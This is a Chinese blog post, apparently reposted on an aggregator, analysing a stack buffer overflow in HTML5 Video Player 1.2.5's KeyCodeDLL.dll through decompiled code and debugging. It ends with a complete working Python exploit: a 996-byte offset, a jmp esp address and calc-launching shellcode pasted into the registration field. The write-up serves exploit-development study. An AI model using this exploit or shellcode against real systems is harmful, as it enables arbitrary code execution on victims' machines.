HTML5 Video Player 1.2.5 缓冲区溢出分析

栏目: Html5 · 发布时间: 5年前

内容简介:放假前最后一天看到因为最近在练习 windows 平台挖洞和写 exploit 的能力,因此就只看了 PoC 的说明部分:

放假前最后一天看到 exploit-db 上出了一个 HTML5 Video Player 的缓冲区溢出的 exploit,版本是 1.2.5,(无心工作)就分析了一下这个漏洞,是一个比较简单的栈溢出漏洞,简单记录一下。

app & exp

因为最近在练习 windows 平台挖洞和写 exploit 的能力,因此就只看了 PoC 的说明部分:

# PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In application, open 'Help' then 'Register'
# 3.) Paste the contents of exploit.txt under 'KEY CODE'
# 4.) Click OK - Calc POPS!

看起来溢出发生在注册时,先安装软件,查壳。

HTML5 Video Player 1.2.5 缓冲区溢出分析

.NET 架构,搜了一下发现 C# 难以出现 溢出漏洞 ,因此猜测溢出发生在 dll 中。

使用 dnspy 打开文件,通过搜索注册时的字符串 Key Code 定位到关键的代码在 HTML5VideoPlayer.RegisterDialog.okButton_Click()

// Token: 0x060000ED RID: 237 RVA: 0x00007A60 File Offset: 0x00005C60
		private void okButton_Click(object sender, EventArgs e)
		{
			string keyName = this.userNameTextBox.Text.Trim();
			string keyCode = this.keyCodeTextBox.Text.Trim();
			if (CallKeyCodeDLL.isRegisterVersion(keyName, keyCode))
			{
				CallKeyCodeDLL.keyName = keyName;
				CallKeyCodeDLL.keyCode = keyCode;
				CallKeyCodeDLL.gIsRegisterCache = true;
				MessageBox.Show("Thank you for your support to us. You have registered this program successfully. All trial limitation has been removed.");
				base.Close();
				return;
			}
			MessageBox.Show("Sorry, the user name and key code is not valid!");
		}

Key Code 栏中输入一串超长的字符串,然后点 OK 注册,发现程序直接 crash,既没有注册成功的弹窗,也没有注册失败的弹窗,说明溢出发生在 CallKeyCodeDLL.isRegisterVersion() 中。查看该函数:

// Token: 0x06000246 RID: 582 RVA: 0x00011428 File Offset: 0x0000F628
		public static bool isRegisterVersion(string userName, string keyCode)
		{
			CallKeyCodeDLL.makeSureEngineInit();
			int num = CallKeyCodeDLL.funcDLLVerifyKeyCode(userName, keyCode);
			return num > 0;
		}

		// Token: 0x06000245 RID: 581 RVA: 0x00011413 File Offset: 0x0000F613
		private static void makeSureEngineInit()
		{
			CallKeyCodeDLL.funcDLLInitEngine(8, "SocuJHTY_HTML5VIDEOPLAYER_WIN");
			CallKeyCodeDLL._alreadyInitKeyCodeEngine = true;
		}

该函数又调用了 makeSureEngineInit()funcDLLVerifyKeyCode() 两个函数,其中 CallKeyCodeDLL.funcDLLVerifyKeyCode() 传递了输入的 userNamekeyCode ,从函数名字来看,溢出就发生在这里了。

查看该函数的定义,是 KeyCodeDLL.dll 中的导出函数,溢出应该就发生在这个函数中了。

// Token: 0x06000244 RID: 580
		[DllImport("KeyCodeDLL.dll", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Ansi, EntryPoint = "#1")]
		private static extern int funcDLLVerifyKeyCode(string strUserName, string strKeyCode);

通过调试验证了猜想。

HTML5 Video Player 1.2.5 缓冲区溢出分析

继续 step over ,程序 crash。

使用 IDA 打开 KeyCodeDll.dll 寻找 funcDLLVerifyKeyCode() 函数,但尴尬的是 dll 被去除了符号表,使用 IDA 看不出函数名,乱翻了几个函数后思考了一下,虽然 dll 没有符号表,但还是能看出导出函数的,于是直接拿 ollydbg 加载程序,查看 KeyCodeDll.dll 的导出函数。

HTML5 Video Player 1.2.5 缓冲区溢出分析

发现只有两个导出函数不确定,应该就是 makeSureEngineInit()funcDLLVerifyKeyCode() 了。分别对两个函数下断点,根据参数调试发现 0x43010D0 是要找的函数。

HTML5 Video Player 1.2.5 缓冲区溢出分析

在 IDA 中查看该函数,发现又调用了另一个函数

int __cdecl funcDLLVerifyKeyCode(char *a1, char *a2)
{
  int result; // eax

  if ( dword_10004010 )
    result = vul((_DWORD *)dword_10004010, a1, a2, 1);// vulnerability
  else
    result = 0;
  return result;
}

继续查看

int __thiscall vul(_DWORD *this, const char *username, const char *keycode, int a4)
{
  _DWORD *v4; // ebp
  int v5; // eax
  char *v7; // [esp+10h] [ebp-4F4h]
  char *v8; // [esp+14h] [ebp-4F0h]
  char *v9; // [esp+18h] [ebp-4ECh]
  int v10; // [esp+1Ch] [ebp-4E8h]
  char v11[256]; // [esp+20h] [ebp-4E4h]
  char v12[256]; // [esp+120h] [ebp-3E4h]
  __int16 v13; // [esp+220h] [ebp-2E4h]
  char v14; // [esp+224h] [ebp-2E0h]
  int v15; // [esp+2CCh] [ebp-238h]
  char v16[4]; // [esp+2D4h] [ebp-230h]
  char v17[4]; // [esp+2D8h] [ebp-22Ch]
  char v18; // [esp+2DCh] [ebp-228h]
  int v19; // [esp+384h] [ebp-180h]
  char v20; // [esp+390h] [ebp-174h]
  char v21; // [esp+394h] [ebp-170h]
  int v22; // [esp+43Ch] [ebp-C8h]
  char v23; // [esp+448h] [ebp-BCh]
  char v24; // [esp+44Ch] [ebp-B8h]
  int v25; // [esp+4F4h] [ebp-10h]
  char v26; // [esp+500h] [ebp-4h]

  v4 = this;
  this[68] = 0;
  strcpy(v11, username);                        // overflow
  strcpy(v12, keycode);                         // overflow
  v7 = v11;
  v17[0] = 0;
  v13 = -(a4 != 0);
  v9 = &v14;
  v20 = 0;
  v23 = 0;
  v26 = 0;
  v8 = v12;
  sub_10001310(&v7);
  v9 = &v18;
  sub_10001460(&v7);
  v9 = &v21;
  sub_100015B0((int)&v7);
  v9 = &v24;
  sub_10001710(&v7);
  if ( dword_10004018 )
    dword_10004018(v4, v11);
  if ( (unsigned __int8)v15 + 1 == (unsigned __int8)v19
    && (unsigned __int8)v15 + 2 == (unsigned __int8)v22
    && (unsigned __int8)v15 + 3 == (unsigned __int8)v25 )
  {
    LOBYTE(v10) = (unsigned __int8)v15 % 4;
    v5 = 184 * (unsigned __int8)v10;
    if ( v17[v5] )
    {
      if ( *(_DWORD *)&v16[v5] == 426969350 )
        v4[68] = 1;
    }
  }
  return v4[68];
}

分析到这,就很容易发现漏洞原因了, strcpy() 未检测长度造成了栈溢出

......
  char v11[256]; // [esp+20h] [ebp-4E4h]
  char v12[256]; // [esp+120h] [ebp-3E4h]
......
......
  strcpy(v11, username);                        // overflow
  strcpy(v12, keycode);                         // overflow

并且发现除了 exploit-db 上指明的 KeyCode 可以造成溢出外,UserName 同样也可以造成溢出。

分析了一下函数逻辑后,发现 v12 这个变量在拷贝完 keycode 后就没有再使用过,因此使用这个变量溢出更方便。

查看汇编,发现该函数使用 esp 寻址,因此就不能确定覆盖返回地址所需的长度是 0x3E4 + 0x4 = 1000 了,但大致也在这个附近,使用 msf 的 pattern 功能,经过调试发现覆盖返回地址需要 996 个字节的字符串。又观察了 vul() 函数后发现函数最后的 Epilogue 不是 ret 而是 retn 0Ch ,因此除了覆盖函数返回地址还需要再填充 12 位无用字符。

测试的环境是 windows xp sp3 ,既没有 ASLR 也没有 DEP,因此可以构造如下的栈结构

padding(996)
---------------
jmp_esp address
---------------
padding(12)
---------------
shellcode

windows 中经常使用 jmp esp + shellcode 的方法,第一次是在 Jarvis OJBackDoor 这道题目 中见到了这种技巧。

写了一段弹计算器的 shellcode,需要注意不能出现截断 strcpy() 的字符

shellcode =  "\x31\xC9"				# xor ecx, ecx         
shellcode += "\x51"                 # push ecx  
shellcode += "\x68\x63\x61\x6C\x63" # push 0x63616c63 (push calc)  
shellcode += "\x54"                 # push dword ptr esp  
shellcode += "\xBA\xC7\x93\xbf\x77" # mov edx, 0x77bf93c7 (mov edx, system)
shellcode += "\xFF\xD2";            # call edx  
shellcode += "\x90" * 2				# suffix

完整的 exploit

import struct

p32 = lambda x: struct.pack('<I', x)

jesp = 0x7d711020					# shell32.dll

shellcode =  "\x31\xC9"      		# xor ecx, ecx         
shellcode += "\x51"                 # push ecx  
shellcode += "\x68\x63\x61\x6C\x63" # push 0x63616c63 (push calc)  
shellcode += "\x54"                 # push dword ptr esp  
shellcode += "\xBA\xC7\x93\xbf\x77" # mov edx, 0x77bf93c7 (mov edx, system)
shellcode += "\xFF\xD2";            # call edx  
shellcode += "\x90" * 2 			# suffix
    
payload = 'A' * 996 + p32(jesp) + "aaaabbbbcccc" + shellcode

# print(payload)
with open("exploit.txt", "wb") as f:
    f.write(payload)

使用方法是把 exploit.txt 中的内容复制到 Help -> Register - Key Code 中,然后点击 OK

效果图:

HTML5 Video Player 1.2.5 缓冲区溢出分析

Question:

  • 直接用长字符串触发 crash,使用 ollydbg 查看调用堆栈,看不到 dll 中的函数,不知是环境问题还是操作有问题

Todo:

  • 分析如何绕过注册机制

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

数字化生存

数字化生存

尼葛洛庞帝 / 胡泳 等 / 海南出版社 / 1997-2 / 16.80元

《数字化生存》可以说是二十世纪信息技术及理念发展的圣经,此书的流行和传播对上个世纪信息时代的启蒙、发展产生了深远的影响,本书深入浅出地讲解了信息技术的基本概念、趋势和应用、巨大的价值和数字时代的宏伟蓝图,阐明了信息技术、互联网对时代和人们生活的影响和价值。作者尼葛洛庞帝成为了信息技术投资和趋势分析领域的教父,他的知名度和因此带来的无形价值不可估量。一起来看看 《数字化生存》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具